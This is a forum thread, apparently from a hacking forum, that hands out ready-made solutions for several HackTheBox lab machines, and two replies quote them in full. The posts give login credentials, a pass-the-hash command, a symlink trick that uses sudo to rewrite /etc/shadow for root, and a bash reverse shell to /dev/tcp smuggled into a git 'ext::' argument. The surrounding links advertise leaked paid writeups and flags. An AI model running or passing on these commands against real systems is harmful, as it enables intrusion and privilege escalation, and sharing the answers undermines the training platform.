Possibly Related Threads…

fuckedupindacrib · (This post was last modified: 10-12-2024, 06:43 AM by fuckedupindacrib.)

Cicada:

User:

evil-winrm -i 10.10.XX.XX -u 'emily.oscars' -p 'Q!3@Lp#M6b*7t*Vt'

Root:

impacket-wmiexec Administrator@10.10.XX.XX -hashes :2b87e7c93a3e8a0ea4a581937016f341

Greenhorn:

User: get from root

Root:

ssh root@10.10.XX.XX
Pass: sidefromsidetheothersidesidefromsidetheotherside

Permx:

User:

ssh mtz@10.10.XX.XX
Pass: 03F6lY3uXAP2bkW8

Root: (in user shell):

ln -s /etc/shadow ~/pwn
sudo /opt/acl.sh mtz rwx /home/mtz/pwn
sudo nano ~/pwn #remove the password hash for root, save file/close
su root

Editorial:

User:

ssh dev@10.10.XX.XX
Pass: dev080217_devAPI!@

Root

ssh prod@10.10.XX.XX
Pass: 080217_Producti0n_2023!@

echo "/bin/bash -i >& /dev/tcp/10.10.XX.XX/PORT 0>&1" > /tmp/shell
sudo /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py 'ext::sh -c bash% /tmp/shell'

Miek22 · 11-04-2024, 07:13 PM

(10-12-2024, 06:38 AM)fuckedupindacrib Wrote: Cicada:

User:
evil-winrm -i 10.10.XX.XX -u 'emily.oscars' -p 'Q!3@Lp#M6b*7t*Vt'

Root:
impacket-wmiexec Administrator@10.10.XX.XX -hashes :2b87e7c93a3e8a0ea4a581937016f341
Greenhorn:

User: get from root

Root:
ssh root@10.10.XX.XX Pass: sidefromsidetheothersidesidefromsidetheotherside
Permx:

User:

ssh mtz@10.10.XX.XX Pass: 03F6lY3uXAP2bkW8

Root: (in user shell):

ln -s /etc/shadow ~/pwn sudo /opt/acl.sh mtz rwx /home/mtz/pwn sudo nano ~/pwn #remove the password hash for root, save file/close su root
Editorial:

User:

ssh dev@10.10.XX.XX Pass: dev080217_devAPI!@

Root

ssh prod@10.10.XX.XX Pass: 080217_Producti0n_2023!@ echo "/bin/bash -i >& /dev/tcp/10.10.XX.XX/PORT 0>&1" > /tmp/shell sudo /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py 'ext::sh -c bash% /tmp/shell'

Thanks for sharing this for free!

bananoname · 11-08-2024, 09:20 AM

(10-12-2024, 06:38 AM)fuckedupindacrib Wrote: Cicada:

User:
evil-winrm -i 10.10.XX.XX -u 'emily.oscars' -p 'Q!3@Lp#M6b*7t*Vt'

Root:
impacket-wmiexec Administrator@10.10.XX.XX -hashes :2b87e7c93a3e8a0ea4a581937016f341
Greenhorn:

User: get from root

Root:
ssh root@10.10.XX.XX Pass: sidefromsidetheothersidesidefromsidetheotherside
Permx:

User:

ssh mtz@10.10.XX.XX Pass: 03F6lY3uXAP2bkW8

Root: (in user shell):

ln -s /etc/shadow ~/pwn sudo /opt/acl.sh mtz rwx /home/mtz/pwn sudo nano ~/pwn #remove the password hash for root, save file/close su root
Editorial:

User:

ssh dev@10.10.XX.XX Pass: dev080217_devAPI!@

Root

ssh prod@10.10.XX.XX Pass: 080217_Producti0n_2023!@ echo "/bin/bash -i >& /dev/tcp/10.10.XX.XX/PORT 0>&1" > /tmp/shell sudo /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py 'ext::sh -c bash% /tmp/shell'

Thanks for sharing this for free!Thanks for sharing this for free!

0x01 · 12-04-2024, 10:18 AM

thanks bro help me a lot

sabiri · 12-16-2024, 11:33 PM

sure but why not give more details Smile

Possibly Related Threads…
Thread		Author	Replies	Views	Last Post
	[FREE] 300+ Writeups PDF HackTheBox/HTB premium retired	Tamarisk	367	113,825	1 hour ago Last Post: Marlb0r0Man
	Hack the box Pro Labs, VIP, VIP+ 1 month free Method	RedBlock	24	19,479	08-28-2026, 06:17 AM Last Post: moonfox
	[FREE] CPTS 12 FLAGS	pulsebreaker	73	20,540	08-21-2026, 09:29 AM Last Post: jamoski
	[Free] CDSA Path Flag -All	RoanokeYehia	36	21,088	08-16-2026, 01:59 AM Last Post: PreferencesY
	[FREE] HackTheBox Academy - CBBH CDSA CPTS All Modules Flags	Techtom	22	19,673	08-15-2026, 06:50 PM Last Post: zl4